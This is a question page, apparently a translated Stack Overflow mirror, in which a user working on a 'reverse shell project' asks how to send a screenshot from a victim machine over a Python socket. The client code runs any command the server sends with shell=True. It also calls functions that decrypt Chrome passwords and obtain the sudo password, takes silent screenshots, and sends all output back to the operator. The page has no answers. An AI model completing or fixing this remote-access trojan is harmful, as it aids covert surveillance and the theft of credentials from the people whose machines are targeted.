使用Python3中的套接字发送图像

时间:2019-05-01 19:04:13

标签: python image sockets tcp data-transfer

我正在做一个反向shell项目,我正在使用Python3。我目前正在通过套接字连接发送文件,但是我不能一味地让它正常工作:(我已经在网上搜索了,所有的Google链接都是紫色的,所以我现在在这里试试运气。

每次我尝试通过该文件发送文件时,要么失去连接,要么文件只是无法正确传输。

我尝试了不同类型的方法来获取图像源。当我将图像源解码为base64并将其发送过来时,最好的尝试是,但是我认为问题与recv(1024)有关。

Server.py

##################################
#            Server.py           #
##################################

#Connect with remote target client
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                break
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_respons = str(conn.recv(1024), "utf-8")

                #Custom commands requiering server based actions 
                if client_respons.startswith('osx_screen_shot') == True:
                    screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
                    f = open('temp.png', 'wb')
                    while screen != bytes(''.encode()):
                        #print(data)
                        data_d = str(conn.recv(1024))
                        f.write(data_d)
                else:
                    print(client_respons, end="")
        except:
            print("Connection was lost")
            break

Client.py

##################################
#            Client.py           #
##################################

#====== Screen Shoot ======#
def osx_screen_shot():
    os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
    os.system("screencapture -x /tmp/temp")
    try:
        with open("/tmp/temp", 'rb') as hoosh:
            data = hoosh.read(1024)
            s.send(data)
            while data != bytes(''.encode()):
                #print(data)
                data = hoosh.read(1024)
                s.send(data)
            print(' File sent successfully.')

    except:
        return "Something went wrong"

#====== Listener =====#
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"

    #Custom payload
    if len(data) > 0:
        if data == 'osx_menu':
            string = help_menu()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_chrome_pass':
            passwords = function_chrome_decrypt()
            s.send(str(passwords + current_dir) + ' ')
        elif data[:2] == 'cd':
            s.send(str(current_dir) + ' ')
        elif data == 'osx_get_sudo_pass':
            string = get_sudo_password()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_screen_shot':
            imgae_code = osx_screen_shot()
            s.send(str(imgae_code))
        elif data != '':
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str.decode(output_bytes)
            s.send(str(output_str + current_dir) + ' ')

除了代码之外,我要能够通过套接字发送图像源代码并在服务器计算机上获取图像

0 个答案:

没有答案
相关问题